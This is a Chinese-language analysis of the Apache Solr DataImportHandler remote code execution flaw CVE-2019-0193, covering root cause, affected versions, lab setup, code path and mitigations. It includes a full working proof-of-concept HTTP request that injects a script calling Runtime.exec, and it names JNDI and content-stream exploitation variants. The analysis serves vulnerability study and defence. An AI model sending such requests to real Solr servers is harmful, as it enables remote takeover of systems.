漏洞分析 - Apache Solr远程代码执行漏洞(CVE-2019-0193)
字数 1814 2025-08-27 12:33:43
Apache Solr远程代码执行漏洞(CVE-2019-0193)深度分析与利用指南
漏洞概述
Apache Solr是一个基于Java的开源企业级搜索平台,构建在Apache Lucene项目之上。CVE-2019-0193漏洞存在于Solr的可选模块DataImportHandler(DIH)中,允许攻击者通过构造特殊的HTTP请求实现远程代码执行(RCE)。
漏洞影响范围
- 受影响版本:Apache Solr < 8.2.0
- 必要条件:
- 启用了DataImportHandler模块(默认不启用)
- Solr Admin UI未开启鉴权认证(默认无认证)
技术背景
DataImportHandler模块
DataImportHandler(DIH)是Solr的可选模块,用于从外部数据源(如数据库、HTTP响应等)导入数据到Solr索引中。关键概念:
- 数据源(DataSource):定义外部数据的位置,可以是数据库DSN、URL等
- 实体(Entity):概念上对应外部数据源中的一组数据记录
- 实体处理器(Processor):从数据源提取内容并转换
- 转换器(Transformer):修改字段、创建新字段或生成多行文档
漏洞相关技术
- ScriptTransformer:允许使用Java支持的任何脚本语言(默认自带JavaScript引擎)
- Nashorn引擎:Java 8内置的JavaScript引擎,允许JS脚本调用Java类和方法
漏洞原理
漏洞存在于DataImportHandler模块处理用户提供的dataConfig参数时:
- 攻击者可通过HTTP请求的
dataConfig参数完全控制DIH配置 - 配置中可以包含恶意脚本(通过
<script>标签) - Solr后端使用Nashorn引擎执行这些脚本时未做限制
- JavaScript脚本可通过
java.lang.Runtime等Java类执行任意命令
环境搭建
- 下载Solr 8.1.1:https://archive.apache.org/dist/lucene/solr/8.1.1/solr-8.1.1.zip
- 启动Solr:
bin/solr start -e dih - 访问管理界面:http://localhost:8983/solr/
漏洞利用
基本PoC
POST /solr/tika/dataimport HTTP/1.1
Host: solr.com:8983
Content-type: application/x-www-form-urlencoded
Content-Length: 585
command=full-import&verbose=false&clean=false&commit=false&debug=true&core=tika&name=dataimport&dataConfig=
<dataConfig>
<dataSource type="URLDataSource"/>
<script><![CDATA[
function poc(){ java.lang.Runtime.getRuntime().exec("/Applications/Calculator.app/Contents/MacOS/Calculator");
}
]]></script>
<document>
<entity name="stackoverflow"
url="https://stackoverflow.com/feeds/tag/solr"
processor="XPathEntityProcessor"
forEach="/feed"
transformer="script:poc" />
</document>
</dataConfig>
多种利用方式
-
URLDataSource方式:
- 优点:结果回显,支持低版本检测
- 缺点:需要出网
-
ContentStreamDataSource方式:
- 优点:结果回显,无需出网
- 缺点:对低版本可能无效
-
JNDI注入方式:
- 使用JdbcDataSource和com.sun.rowset.JdbcRowSetImpl
- 缺点:受JDK版本限制,不够通用
漏洞分析
攻击流程
- 攻击者发送包含恶意
dataConfig的HTTP请求 - Solr后端解析配置并加载ScriptTransformer
- Nashorn引擎执行恶意JavaScript脚本
- 脚本通过Java反射机制调用危险类方法(如Runtime.exec)
关键代码路径
DataImportHandler.handleRequestBody():处理HTTP请求入口DataImporter.maybeReloadConfiguration():重新加载配置DataImporter.loadDataConfig():加载数据配置DIHConfiguration.readFromXml():解析XML配置EntityProcessorWrapper.applyTransformer():应用转换器ScriptTransformer.transformRow():执行脚本转换
防御措施
- 升级到Solr 8.2.0或更高版本
- 禁用DataImportHandler模块(如不需要)
- 为Solr Admin UI配置认证
- 设置
enable.dih.dataConfigParam=false(Solr 8.2.0+)
总结
CVE-2019-0193漏洞源于Solr DataImportHandler模块对用户提供的脚本内容缺乏足够限制,结合Nashorn引擎的能力,导致远程代码执行。该漏洞利用条件较为宽松(默认配置下),危害性高,建议受影响用户及时采取防护措施。